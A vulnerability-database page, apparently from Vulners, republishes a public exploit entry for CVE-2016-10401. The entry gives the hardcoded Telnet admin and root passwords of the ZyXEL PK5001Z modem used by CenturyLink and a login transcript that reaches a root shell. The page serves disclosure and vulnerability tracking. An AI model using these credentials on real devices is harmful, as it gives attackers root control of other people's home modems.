Vulners
Lucene search
ZyXEL PK5001Z Modem Backdoor Account
🗓️ 02 Nov 2017 00:00:00Reported by Matthew SheimoType 
packetstorm🔗 packetstormsecurity.com👁 586 Views
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | ZyXEL PK5001Z Modem - Backdoor Account Vulnerability | 1 Nov 201700:00 | – | zdt |
 | CVE-2016-10401 | 25 Jul 201700:00 | – | attackerkb |
 | ZyXEL PK5001Z Device ROOT Access Vulnerability | 27 Jul 201700:00 | – | cnvd |
 | ZyXEL PK5001Z Modem Authentication Bypass (CVE-2016-10401) | 26 Nov 201700:00 | – | checkpoint_advisories |
 | CVE-2016-10401 | 25 Jul 201718:00 | – | cve |
 | CVE-2016-10401 | 25 Jul 201718:00 | – | cvelist |
 | ZyXEL PK5001Z Modem - Backdoor Account | 31 Oct 201700:00 | – | exploitdb |
 | ZyXEL PK5001Z Modem - Backdoor Account | 31 Oct 201700:00 | – | exploitpack |
 | CVE-2016-10401 | 25 Jul 201718:29 | – | nvd |
 | ZyXEL Modems Backup Account and Default Root Credentials (Telnet) | 2 Nov 201700:00 | – | openvas |
10
`# Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password.
# Google Dork: n/a
# Date: 2017-10-31
# Exploit Author: Matthew Sheimo
# Vendor Homepage: https://www.zyxel.com/
# Software Link: n/a
# Version: PK5001Z 2.6.20.19
# Tested on: Linux
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world.
# Linked CVE's: CVE-2016-10401
Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet
username: admin
password: CenturyL1nk
Escalate to root with 'su' and this password.
password: zyad5001
[root:/]# telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
PK5001Z login: admin
Password: CenturyL1nk
$ whoami
admin_404A03Tel
$ su
Password: zyad5001
# whoami
root
# uname -a
Linux PK5001Z 2.6.20.19 #54 Wed Oct 14 11:17:48 CST 2015 mips unknown
# cat /etc/zyfwinfo
Vendor Name: ZyXEL Communications Corp.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Nov 2017 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.16911